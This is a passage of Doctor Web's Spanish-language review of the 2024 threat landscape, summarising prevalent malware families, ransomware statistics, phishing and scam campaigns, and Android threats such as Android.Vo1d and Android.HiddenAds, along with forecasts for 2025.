JS.Siggen5.44590: Código malicioso añadido a la biblioteca pública JavaScript es5-ext-main. Visualiza un mensaje determinado si el paquete se instala en un servidor con zona horaria de ciudades rusas.
Trojan.AutoIt.1224
Trojan.AutoIt.1131
Trojan.AutoIt.1124
Trojan.AutoIt.1222: Detección de una versión comprimida de Trojan.AutoIt.289, un troyano escrito en lenguaje de script AutoIt. Se distribuye como parte de un grupo de malware: un miner, un backdoor y un módulo para la autodistribución. Trojan.AutoIt.289 realiza varias acciones maliciosas que dificultan la detección de la carga útil principal.
Trojan.StartPage1.62722: Un malware que suplanta la página de inicio en la configuración del navegador.
Trojan.BPlug.3814: Detección de componentes maliciosos de la extensión de navegador WinSafe. Estos componentes son scripts JavaScript que visualizan publicidad importuna en los navegadores.
VBS.KeySender.6: Un script malicioso que busca en un ciclo infinito las ventanas con el texto mode extensions, разработчика y розробника y les envía un evento de pulsar el botón Escape, forzándoles a cerrar.
BAT.AVKill.37: Un componente del programa troyano Trojan.AutoIt.289. Este script ejecuta otros componentes de malware, los instala en el cargador automático a través del Programador de tareas de Windows y los añade a las excepciones del antivirus Windows Defender.
Trojan.Unsecure.7: Un troyano que bloquea el inicio del software antivirus y otro a través de las políticas AppLocker en SO Windows.

Entre las amenazas por correo electrónico, las más populares fueron diversos scripts y troyanos maliciosos de todo tipo, como backdoors, descargadores y droppers de malware, troyanos con funcionalidad de spyware, malware de minería de criptomonedas y otros. Los atacantes también enviaron documentos de phishing, que a menudo eran formularios falsos de autorización en sitios web populares. Además, los usuarios afrontaron gusanos y aplicaciones maliciosas que aprovechan las vulnerabilidades de los documentos de Microsoft Office.

Malware más popular detectado en el tráfico de correo en 2024:

JS.Siggen5.44590: Código malicioso añadido a la biblioteca pública JavaScript es5-ext-main. Visualiza un mensaje específico si el paquete se instala en un servidor con zona horaria de ciudades rusas.
JS.Inject: Una familia de scripts maliciosos escritos en lenguaje JavaScript. Incrustan un script malicioso en el código HTML de las páginas web.
LNK.Starter.56: Detección de un acceso directo especialmente diseñado que se propaga a través de unidades extraíbles y tiene un icono de unidad para engañar a los usuarios. Cuando se abre, el acceso directo ejecuta scripts VBS maliciosos desde un directorio oculto situado en la misma unidad que el propio acceso directo.
Win32.HLLW.Rendoc.3: Gusano de red que se propaga así mismo a través de soportes de almacenamiento extraíbles.
Exploit.CVE-2018-0798.4: Un exploit para aprovechar vulnerabilidades en el software Microsoft Office, al permitir la ejecución del código aleatorio.
Trojan.AutoIt.1122: Detección de una versión comprimida de Trojan.AutoIt.289, un troyano escrito en lenguaje de script AutoIt. Se distribuye como parte de un grupo de malware: un miner, un backdoor y un módulo para la autodistribución. Trojan.AutoIt.289 realiza varias acciones maliciosas que dificultan la detección de la carga útil principal.
Trojan.SpyBot.699: Un troyano bancario multimodular. Permite a los ciberdelincuentes descargar y ejecutar varias aplicaciones y ejecutar un código aleatorio en un dispositivo infectado.
VBS.BtcMine.13
VBS.BtcMine.12: Script VBS malicioso que realiza minería oculta de criptomonedas.

Cifradores

En comparación con 2023, en 2024 el servicio de soporte técnico de Doctor Web recibió un 33,05% menos de solicitudes de usuarios afectados por troyanos cifradores. La dinámica de las solicitudes de descifrado de archivos puede consultarse en el siguiente diagrama:

Número de solicitudes de descifrado recibidos por el servicio de soporte técnico de Doctor Web.

Los cifradores más populares en el año 2024:

Trojan.Encoder.35534 (13,13% de solicitudes de usuarios): Un cifrador, también conocido como Mimic. Para buscar los archivos objetivo para cifrar, el troyano usa la biblioteca everything.dll del programa legal Everything, que sirve para la búsqueda instantánea de archivos en ordenadores con Windows.
Trojan.Encoder.3953 (12,10% de solicitudes de usuarios): Un cifrador que tiene varias versiones y modificaciones diferentes. Utiliza el algoritmo AES-256 en modo CBC para cifrar archivos.
Trojan.Encoder.26996 (7,44% de solicitudes de usuarios): Un cifrador conocido como STOP Ransomware. Intenta obtener la clave privada de un servidor remoto y, si falla, utiliza la clave fija. El troyano utiliza el algoritmo de flujo Salsa20 para cifrar archivos.
Trojan.Encoder.35067 (2,21% de solicitudes de usuarios): Un cifrador conocido como Macop (una variante de este troyano es Trojan.Encoder.30572). Tiene un tamaño reducido, de unos 30-40 Kbytes. Esto se debe en parte a que el troyano no lleva ninguna biblioteca criptográfica de terceros y sólo utiliza funciones CryptoAPI para el cifrado y la generación de claves. Utiliza el algoritmo AES-256 para cifrar los archivos, mientras que las claves se cifran con RSA-1024.
Trojan.Encoder.37369 (2,10% de solicitudes de usuarios): Una de las múltiples modificaciones del ransomware #Cylance. Utiliza el algoritmo ChaCha12 con un esquema de intercambio de claves basado en la curva elíptica para cifrar archivos Curve25519 (X25519).

Estafas de red

En 2024, los analistas de Internet de Doctor Web observaron una actividad importante de los ciberestafadores que utilizan tanto escenarios tradicionales como nuevos para engañar a los usuarios. En el segmento ruso de Internet, los esquemas que utilizaban sitios web fraudulentos de varios formatos volvieron a ser los más populares. Uno de ellos eran recursos de Internet falsos de tiendas en línea y redes sociales con promociones y sorteos de regalos supuestamente en su nombre. Las víctimas potenciales en estos sitios siempre «ganan», pero se les exige el pago de una «comisión» para recibir el premio inexistente.

Un sitio web fraudulento, supuestamente relacionado con una tienda en línea rusa, ofrece al visitante participar en un sorteo inexistente

Una web falsa de una red social ofrece «probar suerte» y ganar grandes premios: mucho dinero y otros regalos

Los sitios web falsos de minoristas y tiendas de electrodomésticos y electrónica que ofrecen comprar productos con descuento siguen siendo una de las variantes tópicas de este tipo de estafas. Por lo general, ofrecen pagar los «pedidos» a través de la banca por Internet o una tarjeta bancaria, pero en el último año, los estafadores han recurrido al FMS - el Sistema de Pago Rápido.

Una web falsa de una tienda de electrodomésticos y electrónica promete descuentos importantes a sus víctimas potenciales

Un sitio fraudulento ofrece utilizar SBP como uno de los métodos de pago del «pedido»

La estafa con lotería «gratuita» también ha seguido siendo popular. Las supuestas loterías en línea para víctimas potenciales siempre terminan por un «premio». Para conseguir el premio, los usuarios también tienen que pagar una «comisión».

Un usuario supuestamente ganó 314.906 rublos en la lotería y tendrá que pagar una «comisión» para «recibir» el premio

Los sitios web financieros falsos también siguieron formando parte del arsenal de los estafadores. Entre los temas más populares figuraban la recepción de pagos públicos o de empresas privadas, la inversión en el sector del petróleo y el gas, la formación financiera, el comercio de criptomonedas y acciones mediante sistemas automatizados «únicos» o estrategias «probadas» que supuestamente garantizan beneficios, y otros. Los atacantes también aprovecharon los nombres de personalidades de los medios de comunicación para atraer la atención de los usuarios. A continuación se presentan ejemplos de este tipo de sitios.

Una web fraudulenta ofrece al visitante «ganar hasta 10.000 euros al mes en la plataforma única de WhatsApp»

Un artista ruso Shaman ha «compartido una plataforma secreta para el éxito» que supuestamente puede aportar ganancias de $14.000 al mes

Un sitio web falso de una empresa de petróleo y gas ofrece acceso a un servicio de inversión y promete ganancias a partir de 150.000 rublos

Sitios web fraudulentos que imitan los servicios de inversión reales de los bancos

Al mismo tiempo, nuestros expertos también identificaron nuevos esquemas. Por ejemplo, los estafadores, aparentemente en nombre de grandes empresas, ofrecían a los usuarios participar en encuestas sobre la calidad de sus servicios a cambio de una comisión. Entre estas falsificaciones había sitios web ficticios de organizaciones de crédito donde se solicitaban a los usuarios los datos personales sensibles, que podían contener su nombre completo, número de teléfono móvil y número de tarjeta bancaria vinculada a su cuenta bancaria.

Una web falsa de un banco ofrece una recompensa de 6.000 rands por participar en una encuesta para «mejorar la calidad del servicio»

Al mismo tiempo, los usuarios de otros países también se vieron afectados por estas falsificaciones. Por ejemplo, el siguiente sitio web prometía a los usuarios europeos dividendos por invertir en sectores prometedores de la economía:

Y este sitio anunciaba una «nueva plataforma de inversión de Google» con la que supuestamente es posible ganar desde 1000 Euros:

Otro recurso fraudulento en línea ofrecía a los usuarios eslovacos «ganar más de $192.460 dólares al mes» a través de un servicio de inversión:

Los residentes en Azerbaiyán también pudieron supuestamente mejorar significativamente su situación financiera al ganar a partir de 1.000 manat al mes. Todo lo que tenían que hacer era rellenar un pequeño cuestionario y acceder a un servicio supuestamente relacionado con una empresa azerbaiyana de petróleo y gas:

A finales de año, los estafadores como siempre empezaron a adaptar estos sitios falsos al tema de las fiestas de Año Nuevo. Por ejemplo, el siguiente recurso en línea falso de intercambio de criptomonedas prometía pagos de Año Nuevo a los usuarios rusos:

Otro sitio les ofrecía pagos de vacaciones supuestamente en nombre de una sociedad de inversión:

Y este recurso fraudulento de Internet prometía a los usuarios de Kazajstán grandes pagos en honor del Día de la Independencia como parte de una «oferta de Año Nuevo»:

A lo largo del año, nuestros analistas de Internet también identificaron otros sitios de phishing. Entre ellos había sitios falsos de servicios de formación en línea. Uno de ellos, por ejemplo, imitaba el diseño de un recurso en línea real y ofrecía cursos de programación. Se pedía a los usuarios que facilitaran información personal para «recibir asesoramiento».

Un sitio web falso que se hacía pasar por un verdadero recurso de servicios educativos en línea

Además, continuaron los intentos de robar cuentas de usuarios de Telegram mediante sitios de phishing camuflados por diversas encuestas en línea. Entre ellos, han vuelto a propagarse los sitios con «votaciones en concursos de dibujo infantil». A las víctimas potenciales se les pide su número de teléfono móvil, supuestamente necesario para confirmar el voto y recibir un código de un solo uso. Sin embargo, al introducir este código en un sitio de este tipo, los usuarios proporcionan el acceso a sus cuentas a los estafadores.

Un sitio de phishing para «votar» en un concurso en línea de dibujos infantiles

Otros sitios similares ofrecían una suscripción «gratuita» a Telegram Premium. Se pide a los usuarios que inicien sesión en sus cuentas, pero los datos confidenciales introducidos en estos sitios se transmiten a los atacantes, que luego roban las cuentas. Cabe destacar que los enlaces a estos recursos de Internet también se propagan a través del propio messenger. Al mismo tiempo, la dirección real del sitio de destino en los mensajes a menudo no coincide con lo que ven los usuarios.

Un mensaje de phishing en Telegram que pide hacer clic en un enlace específico para «activar» una suscripción Telegram Premium. El texto del enlace en realidad no coincide con la dirección de destino

Un sitio de phishing cargado al hacer clic en un enlace de un mensaje fraudulento

Al hacer clic en el botón de la página anterior, el sitio muestra un formulario de autorización que parece un formulario de autorización de Telegram real

Los ciberdelincuentes utilizan el spam por correo electrónico para difundir enlaces a sitios web fraudulentos. A lo largo del año, nuestros analistas de Internet registraron múltiples campañas de spam. Por ejemplo, se propagaron activamente correos electrónicos de phishing dirigidos a usuarios japoneses. Por ejemplo, estafadores que supuestamente actuaban en nombre de una entidad de crédito informaban a las víctimas potenciales sobre una compra específica y les ofrecían leer los detalles del «pago» al hacer clic en el enlace proporcionado. En realidad, el enlace llevaba a un sitio web de phishing.

Un correo electrónico de phishing que supuestamente en nombre de un banco e invita a los usuarios japoneses a leer los datos de un pago determinado

En otro escenario popular, los ciberdelincuentes enviaban notificaciones falsas con información sobre gastos mensuales de tarjetas bancarias supuestamente en nombre de entidades de crédito. Los enlaces a sitios de phishing a menudo estaban camuflados y parecían inofensivos en el texto de los correos electrónicos.

Los usuarios veían en los textos de mensajes spam los enlaces a las direcciones de sitios web de bancos reales, pero al pulsarlos, los mismos llevaban a un recurso online de estafa

Una de las campañas de spam iba dirigida a usuarios europeos. Por ejemplo, los usuarios de Bélgica recibieron correos electrónicos de phishing en los que se les informaba de que sus cuentas bancarias habían sido «bloqueadas». Para «desbloquearlas», se les pedía que hicieran clic en un enlace que en realidad llevaba a un sitio web fraudulento.

Un correo electrónico no deseado asusta a una posible víctima con una cuenta bancaria «bloqueada»

También se registraron otros envíos masivos de correos electrónicos no solicitados, como los dirigidos al público anglófono. En una campaña de spam, las víctimas potenciales recibieron mensajes en los que se les pedía que confirmaran la recepción de una transferencia de dinero de gran cuantía. Sin embargo, el enlace que contenían conducía a un formulario de phishing de autorización bancaria en línea que se parecía a una página real del sitio web de una entidad de crédito.

Un correo electrónico de spam informa de que el usuario supuestamente necesita confirmar la recepción de 1218,16 dólares estadounidenses

Los usuarios rusos afrontaban más a menudo los mensajes de spam que ayudaban a los estafadores a atraer a posibles víctimas a sitios de phishing populares previamente señalados. Los temas habituales de los mensajes no deseados incluían premios y descuentos de tiendas en línea, lotería gratuita y acceso a servicios de inversión. Sus ejemplos pueden consultarse en las siguientes capturas de pantalla.

Una carta supuestamente de una tienda en línea que ofrece participar en un «sorteo de premios»

Un mensaje supuestamente en nombre de una organización de préstamos que ofrece «convertirse en un inversor de éxito»

Un correo electrónico enviado supuestamente en nombre de una tienda de electrónica, invitándole a activar un código promocional y recibir un descuento en artículos

Para dispositivos móviles

Según las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, los adware más populares para Android en el año 2024 otra vez fueron los Android.HiddenAds que ocultan su propia presencia en dispositivos infectados y visualizan publicidad. A los mismos se refiere más de un tercio de detecciones de malware. Entre los representantes más activos de esta familia fueron Android.HiddenAds.3956, Android.HiddenAds.3851, Android.HiddenAds.655.origin, and Android.HiddenAds.3994. Al mismo tiempo, los usuarios afrontaron las variantes de troyanos Android.HiddenAds.Aegis,capaces de iniciarse de forma automática una vez instalados. Otro malware popular eran los troyanos Android.FakeApp y los troyanos espía Android.Spy usados en varios esquemas fraudulentos.

Al software no deseado más activo se refirieron los representantes de las familias Program.FakeMoney, Program.CloudInject y Program.FakeAntiVirus. Los primeros ofrecen realizar diversas tareas a cambio de recompensas virtuales, que supuestamente pueden retirarse en forma de dinero real, pero en realidad los usuarios no reciben ningún pago de ellos. Los segundos son programas modificados en los que, al ser modificados a través de un servicio especializado en la nube, se añaden un código incontrolado y una serie de permisos peligrosos. Los terceros imitan el funcionamiento de los antivirus, detectan amenazas inexistentes y ofrecen adquirir una versión completa para solucionar los «problemas».

Las utilidades Tool.SilentInstaller que permiten ejecutar aplicaciones Android sin necesidad de instalarlas, han vuelto a ser los programas potencialmente peligrosos detectados con mayor frecuencia: representaron más de un tercio de las detecciones de este tipo de software. También se han generalizado las aplicaciones modificadas con la utilidad NP Manager (detectadas como Tool.NPMod). En estos programas se incrusta un módulo especial que les permite esquivar la verificación de su firma digital tras la modificación. A menudo se detectaban aplicaciones protegidas por el comprimidor Tool.Packer.1.origin así como el framework Tool.Androlua.1.origin, que permite modificar los programas instalados de Android y ejecutar scripts Lua potencialmente maliciosos.

El adware más popular fue la nueva familia Adware.ModAd, que representó casi la mitad de las detecciones. Se trata de versiones especialmente modificadas del messenger WhatsApp con un código incrustado en sus funciones para descargar enlaces publicitarios. Los representantes de la familia Adware.Adpush ocuparon el segundo lugar, y otra nueva familia, Adware.Basement, el tercero.

En comparación con 2023, en 2024 se produjo un ligero aumento de los troyanos bancarios para Android. Al mismo tiempo, nuestros expertos observaron un aumento de popularidad de una serie de técnicas que los ciberdelincuentes utilizaban para proteger los programas maliciosos —en particular los bancarios — del análisis y la detección. Entre dichas técnicas hubo diversas manipulaciones del formato de archivo ZIP (que es la base de los archivos APK) y del archivo de configuración de los programas Android AndroidManifest.xml.

También cabe destacar el uso generalizado de la aplicación maliciosa Android.SpyMax. Los atacantes utilizaron activamente este spyware como troyano bancario, especialmente contra los usuarios rusos (46,23% de las detecciones), así como contra los titulares de dispositivos Android de Brasil (35,46% de los casos) y Turquía (5,80% de los casos).

A lo largo del año, los analistas de virus de Doctor Web detectaron más de 200 amenazas diferentes en el catálogo de Google Play. Entre ellas, troyanos de firma de pago por servicio, troyanos espía, estafas y adware. En total, se han descargado al menos 26.700.000 veces. Además, nuestros expertos detectaron otro ataque a consolas TV en Android: el backdoor modular Android.Vo1d infectó casi 1.300.000 dispositivos de usuarios de 197 países. Este troyano colocaba sus componentes en el área del sistema y, siguiendo los comandos de los atacantes, podía descargar e instalar software de terceros de Internet de forma no autorizada.

Para más información sobre el panorama de los virus para dispositivos móviles en 2024, consulte nuestro informe.

Perspectivas y posibles tendencias

Los eventos del año pasado han demostrado una vez más la diversidad del panorama actual de las ciberamenazas. Los atacantes se interesan tanto por los grandes objetivos — los sectores corporativo y público — como por los usuarios ordinarios. La funcionalidad de muchos de los programas maliciosos implicados en los ataques objetivo que hemos analizado demuestra que los creadores de virus siempre buscan nuevas oportunidades para mejorar sus campañas de malware y desarrollar sus herramientas. Con el tiempo, las nuevas técnicas empiezan a usarse inevitablemente en amenazas más generalizadas. En este sentido, en 2025 probablemente aparecerán más troyanos que utilicen la tecnología eBPF para ocultar actividades maliciosas. Además, es probable que aparezcan más ataques dirigidos, incluidos los exploits.

Uno de los principales objetivos de los ciberdelincuentes es ganar dinero ilegal, por lo cual los troyanos bancarios y de publicidad pueden ser más activos en el nuevo año. Además, los usuarios pueden verse amenazados por más programas maliciosos con funciones de spyware.

Al mismo tiempo, los usuarios no solo de ordenadores con Windows, sino también de otros sistemas operativos como Linux y macOS, estarán observados con atención. Las amenazas móviles seguirán propagándose. Los titulares de dispositivos Android deben preocuparse principalmente por nuevo software espía, troyanos bancarios y aplicaciones de adware maliciosas y no deseadas. No podemos descartar nuevos intentos de infectar televisores, consolas TV y otros equipos basados en Android. A demás, es probable que aparezcan nuevas amenazas en el catálogo de Google Play.

The Anti-virus Times

Infinite horizons

Doctor Web: informe de la actividad de virus para dispositivos móviles en el año 2024

Thu, 30 Jan 2025 00:00:00 GMT

30 de enero de 2025

Los troyanos adware vuelven a ser la amenaza más común para Android en 2024. Al mismo tiempo, el software fraudulento, el ransomware, los clickers y los troyanos bancarios aumentaron su actividad en comparación con el año anterior. Entre estos últimos, los troyanos bancarios más sencillos, que solo roban las credenciales de acceso a la banca online y los códigos de confirmación por SMS, fueron más frecuentes que en 2023.

Entre los programas no deseados, los más activos fueron las aplicaciones que ofrecen a los usuarios realizar diversas tareas a cambio de recompensas virtuales, que luego supuestamente pueden convertirse en dinero real. Los programas potencialmente peligrosos más detectados fueron utilidades que permiten ejecutar aplicaciones de Android sin instalarlas. Los adware más activos eran versiones especialmente modificadas del messenger WhatsApp, cuyas funciones incluyen código para descargar enlaces publicitarios.

A lo largo del año, los analistas de virus de Doctor Web detectaron cientos de nuevas amenazas en el catálogo de Google Play, que se descargaron en total más de 26.700.000 veces. Entre ellas había malware, incluido un troyano espía, así como aplicaciones no deseadas y adware.

Nuestros expertos también identificaron un nuevo ataque a consolas TV basadas en Android: alrededor de 1.300.000 dispositivos se vieron afectados por un backdoor que infectaba el área del sistema y podía descargar e instalar software de terceros por comando de los atacantes.

Además, los analistas de virus de Doctor Web observaron la creciente popularidad de una serie de técnicas destinadas a dificultar el análisis de malware para Android y esquivar su detección por los antivirus. Entre ellas hubo diversas manipulaciones con el formato de los archivos ZIP (el formato ZIP es la base de los archivos APK de las aplicaciones Android), manipulaciones con el archivo de configuración del programa AndroidManifest.xml, y otras. Estas técnicas se detectaban con mayor frecuencia en troyanos bancarios.

TENDENCIAS DEL AÑO PASADO

El malware publicitario sigue siendo la amenaza más común
Aumentan los troyanos bancarios
Los ciberdelincuentes han aumentado el uso de troyanos bancarios Android.Banker sencillos, que solo roban datos de acceso a cuentas bancarias en línea y códigos de verificación por SMS
Los atacantes han aumentado el uso de la manipulación del formato de las aplicaciones APK y sus componentes estructurales para esquivar la detección y dificultar el análisis del malware
Aumento de la detección de troyanos ransomware Android.Locker y de los troyanos Android.Click trojan clickers
Aparecen muchas amenazas nuevas en el catálogo de Google Play

Los eventos más interesantes del año 2024

En mayo del año pasado, los expertos de Doctor informaron sobre el troyano clicker Android.Click.414.origin detectado en una aplicación para controlar juguetes sexuales y en un software de seguimiento de la actividad física. Ambos programas se propagaban a través del catálogo de Google Play y se instalaron más de 1.500.000 veces. Android.Click.414.origin tenía una arquitectura modular y utilizaba sus componentes para realizar tareas específicas. Por ejemplo, el troyano abría sitios web publicitarios de forma no autorizada y realizaba varias acciones en ellos. Por ejemplo, podía desplazarse por el contenido de las páginas, introducir texto en formularios, silenciar páginas web y crear capturas de pantalla de las mismas para analizar el contenido y luego realizar clics en las zonas deseadas. Además, Android.Click.414.origin transmitía información detallada sobre el dispositivo infectado al servidor de control. Al mismo tiempo, el clicker no atacaba específicamente a determinados usuarios: no se ejecutaba en dispositivos con el idioma chino de la interfaz.

Algunas versiones de programas Love Spouse y QRunning ocultaban el troyano Android.Click.414.origin

En septiembre, nuestros expertos revelaron los detalles de un análisis de consolas TV Android infectadas con el backdoor Android.Vo1d. Este malware modular se infiltró en casi 1.300.000 dispositivos de usuarios de 197 países. Colocaba sus componentes en el área del sistema y podía descargar e instalar software de terceros de forma no autorizada por comando de los atacantes.

Países con el mayor número de consolas TV detectadas infectadas por el backdoor Android.Vo1d

Ya en noviembre, nuestros analistas de virus utilizaron el troyano Android.FakeApp.1669 como ejemplo para explicar cómo los atacantes utilizan el protocolo DNS para conectar secretamente malware a servidores de control. Android.FakeApp.1669 es un troyano bastante primitivo cuyo trabajo consiste en cargar sitios web especificados. Se diferencia de la mayoría de amenazas similares en que obtiene la dirección de los sitios objetivo a partir del registro TXT de un servidor DNS malicioso utilizando código modificado de la biblioteca dnsjava de código abierto. Así mismo Android.FakeApp.1669 sólo se manifiesta al conectarse a Internet a través de determinados ISP; por lo demás, funciona como un software inofensivo.

Un ejemplo de una entrada TXT del dominio objetivo que el servidor DNS entregó para la solicitud a través de la utilidad Linux dig al analizar una de las modificaciones de Android.FakeApp.1669

Estadísticas

Según las estadísticas de detección de Dr.Web Security Space para dispositivos móviles, el malware es la amenaza más común en 2024, al mismo se refirió un 74,67% de todas las detecciones. Le sigue el adware con una cuota del 10,96%. Los programas potencialmente peligrosos ocuparon el tercer lugar con un 10,55% de detecciones. Los cuartos más comunes fueron los programas no deseados: los usuarios afrontaron los mismos en el 3,82% de los casos.

Malware

Los troyanos publicitarios Android.HiddenAds han vuelto a convertirse en el malware más popular para Android. Durante el año pasado, su cuota en el volumen total de aplicaciones maliciosas detectadas por Dr.Web aumentó en 0,34 p. p. y alcanzó el 31,95% de las detecciones.

Entre los representantes de esta familia el más activo fue Android.HiddenAds.3956 (15,10% detecciones de la familia y 4,84% del número total de detecciones de malware). Es una de las múltiples variantes de malware Android.HiddenAds.1994 que los usuarios afrontan ya durante varios años. La versión Android.HiddenAds.3956 junto con otras modificaciones apareció en el año 2023 y según nuestros pronósticos pudo ser líder en la familia, lo cual finalmente sucedió. En el año 2024 también se propagaron sus nuevas variantes Android.HiddenAds.3980, Android.HiddenAds.3989, Android.HiddenAds.3994, Android.HiddenAds.655.origin, Android.HiddenAds.657.origin y algunas otras.

Así mismo, también destacó la subfamilia de los troyanos Android.HiddenAds.Aegis. A diferencia de la mayoría de otro malware Android.HiddenAds, los representantes de este grupo tienen capacidades de autoinicio y algunas otras peculiaridades. Con mayor frecuencia en los dispositivos protegidos por el antivirus Dr.Web se detectaban las modificaciones Android.HiddenAds.Aegis.1, Android.HiddenAds.Aegis.4.origin, Android.HiddenAds.Aegis.7.origin y Android.HiddenAds.Aegis.1.origin.

El segundo malware más popular fueron los troyanos de la familia Android.FakeApp aplicados por los malintencionados para realizar varios esquemas de estafa. El año pasado a los mismos se refirió un 18,28% de todas las detecciones de malware, lo cual supera en 16,45 p.p. los valores del año anterior. Con mayor frecuencia, estos troyanos cargan los sitios web no deseados destinados para ataques phishing y estafas online.

En el tercer lugar, con la parte de 11,52% (reducción de 16,7 p.p. comparado con el año 2023) están los troyanos Android.Spy que tienen funcionalidad espía. Igual que el año antes, el representante de la familia más popular fue Android.Spy.5106 — al mismo se refiere un 5,95% de detecciones de malware.

En 2024, se produjo una tendencia divergente en la propagación del malware, diseñado para descargar e instalar otro software y capaz de ejecutar código arbitrario. Así por ejemplo, comparado con el año anterior la parte de descargadores de Android.DownLoader bajó un 0,49 p. p. hasta 1,69%, la parte de troyanos Android.Mobifun bajó un 0,15 p. p. hasta 0,10%, y de troyanos Android.Xiny — un 0,14 p. p. hasta 0,13%. Así mismo, con mayor frecuencia se detectaban los troyanos Android.Triada (2,74% de los casos, crecimiento de 0,6 p. p.) y Android.RemoteCode (3,78% de los casos, crecimiento de 0,95 p. p.).

La parte de malware protegido por comprimidores de malware Android.Packed bajó de 7,98% a 5,49%, y casi volvió a los indicadores del año 2022. Así mismo, de 10,06% a 5,38% bajó el número de ataques con participación de troyanos adware Android.MobiDash. Al mismo tiempo, subió ligeramente el número de detecciones de troyanos ransomware Android.Locker (de 1,15% a 1,60%) y troyanos Android.Proxy (de 0,57% a 0,81%). Los últimos permiten usar los dispositivos en Android infectados para redirigir el tráfico de red de los malintencionados a través de los mismos. Además, subió bastante la actividad de malware Android.Click, capaces de abrir los sitios web de publicidad y hacer clics en las páginas web (crecimiento de 0,82% a 3,56%).

Diez malware más detectados en el año 2024:

Android.FakeApp.1600: Un programa troyano que carga el sitio web especificado en su configuración. Las modificaciones conocidas de esta aplicación maliciosa cargan un sitio web de casino online.
Android.Spy.5106: Detección de una de las variantes de troyanos, que consiste en versiones modificadas de modificaciones no oficiales de WhatsApp. Puede robar contenido de notificaciones, ofrecer la instalación de programas de fuentes desconocidas y mostrar cuadros de diálogo con contenido configurable de forma remota mientras se utiliza el Messenger.
Android.HiddenAds.3956
Android.HiddenAds.3851
Android.HiddenAds.655.origin
Android.HiddenAds.3994
Android.HiddenAds.657.origin: Troyanos que visualizan publicidad importuna. Los representantes de esta familia se propagan a menudo camuflados de aplicaciones inofensivas y, en algunos casos, instalados en el directorio del sistema por otro malware . Una vez en los dispositivos Android, estos troyanos adware suelen ocultar su presencia en el sistema al usuario, por ejemplo, «al ocultar» el icono de la aplicación del menú de la pantalla de inicio.
Android.Click.1751: Un troyano incrustado en las modificaciones de WhatsApp messenger y que se hace pasar por clases de la biblioteca de Google. Durante el uso de la aplicación host, Android.Click.1751 realiza solicitudes a uno de los servidores de control. En respuesta, el troyano recibe dos enlaces, uno para los usuarios de habla rusa y otro para el resto. A continuación, visualiza un cuadro de diálogo con el contenido recibido del servidor y, en cuanto el usuario haga clic en el botón de confirmación, carga el enlace correspondiente en el navegador.
Android.HiddenAds.Aegis.1: Un programa troyano que oculta su presencia en dispositivos Android y visualiza publicidad importuna. Pertenece a una subfamilia que se diferencia de otros representantes de la familia Android.HiddenAds en varios aspectos. Por ejemplo, estos troyanos son capaces de lanzarse por sí mismos tras su instalación. Además, disponen de un mecanismo que permite que sus servicios permanezcan en ejecución de forma continua. En algunos casos, también pueden implicar funciones ocultas del sistema operativo Android.
Android.MobiDash.7815: Un programa troyano que visualiza publicidad importuna. Es un complemento que los desarrolladores de software incrustan en las aplicaciones.

Software no deseado

El software no deseado detectado con mayor frecuencia en el año 2024 fue Program.FakeMoney.11. Al mismo se refiere más de la mitad — 52,10% — del número total de malware detectado en dispositivos protegidos. Pertenece a la clase de aplicaciones que ofrecen a los usuarios ganar dinero al realizar varias tareas, pero al final no pagan ninguna recompensa real.

El software detectado por el antivirus Dr.Web como Program.CloudInject.1, están en el segundo lugar con la parte de 19,21% (crecimiento de 9,75 p. p. comparado con el año anterior). Estas aplicaciones se modifican a través del servicio en la nube CloudInject — a las mismas se añaden los permisos peligrosos y el código ofuscado, cuyo objetivo no puede ser controlado.

Las aplicaciones Program.FakeAntiVirus.1 llevan reduciendo su actividad ya durante dos años consecutivos — son los terceros en cuanto a la popularidad, con un indicador de 10,07%, lo cual es 9,35 p. p. inferior que en el año 2023. Estos programas imitan el funcionamiento de los antivirus, detectan las amenazas no existentes y proponen a los titulares de dispositivos en Android adquirir la versión completa para «corregir» los problemas supuestamente detectados.

Durante el año pasado los usuarios afrontaron varios tipos de software para observar y controlar la actividad. Este software puede ser usado para recopilar los datos tanto con autorización de titulares de dispositivos, como sin la misma — en el segundo caso en realidad se convierten en herramientas espía. Con mayor frecuencia en dispositivos protegidos por Dr.Web se detectaba software para supervisar Program.TrackView.1.origin (2,40% de los casos), Program.SecretVideoRecorder.1.origin (2,03% de los casos), Program.wSpy.3.origin (0,98% de los casos), Program.SecretVideoRecorder.2.origin (0,90% de los casos), Program.Reptilicus.8.origin (0,64% de los casos), Program.wSpy.1.origin (0,39% de los casos) y Program.MonitorMinor.11 (0,38% de los casos).

Además, fueron difundidos los programas en Android Program.Opensite.2.origin, cuyo objetivo es cargar los sitios web especificados y visualizar publicidad. A los mismos se refiere un 0,60% de detecciones de software no deseado.

Diez aplicaciones no deseadas detectadas con mayor frecuencia en el año 2024:

Program.FakeMoney.11
Program.FakeMoney.7: Detecta las aplicaciones que supuestamente permiten ganar dinero al realizar determinadas acciones o tareas. Estas aplicaciones simulan la acumulación de recompensas, y hay que acumular una cierta cantidad de dinero para retirar el dinero «ganado». Suelen contener una lista de sistemas de pago y bancos populares, a través de los cuales supuestamente es posible transferir las recompensas. Pero incluso cuando los usuarios consiguen acumular suficiente dinero para retirarlo, no reciben los pagos prometidos. Esta entrada también detecta otro software no deseado basado en el código de dichos programas.
Program.CloudInject.1: Detección de aplicaciones Android modificadas con el servicio en la nube CloudInject y la utilidad Android del mismo nombre (añadida a la base de datos de virus Dr.Web como Tool.CloudInject). Dichas aplicaciones se modifican en un servidor remoto, y el usuario (modder) interesado en modificarlas no tiene control sobre lo que se incrusta en ellas. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Tras modificar los programas, el modder puede controlarlos a distancia: bloquearlos, mostrar diálogos personalizados, rastrear la instalación y eliminación de otro software, etc.
Program.FakeAntiVirus.1: Detecta adware que imita el funcionamiento de software antivirus. Estos programas pueden informar de amenazas inexistentes y engañar a los usuarios para que paguen por una versión completa del software.
Program.TrackView.1.origin: Detección de una aplicación que permite vigilar a los usuarios a través de dispositivos Android. Con esta aplicación, los atacantes pueden localizar los dispositivos objetivo, utilizar la cámara para grabar vídeos y hacer fotos, escuchar a través del micrófono, crear grabaciones de audio, etc.
Program.SecretVideoRecorder.1.origin
Program.SecretVideoRecorder.2.origin: Detecta varias versiones de la aplicación de grabación de fotos y vídeos en segundo plano a través de las cámaras integradas de los dispositivos Android. Esta aplicación puede funcionar de forma no autorizada, que permite desactivar las notificaciones de grabación, así como cambiar el icono y la descripción de la aplicación por otros falsos. Esta funcionalidad la hace potencialmente peligrosa.
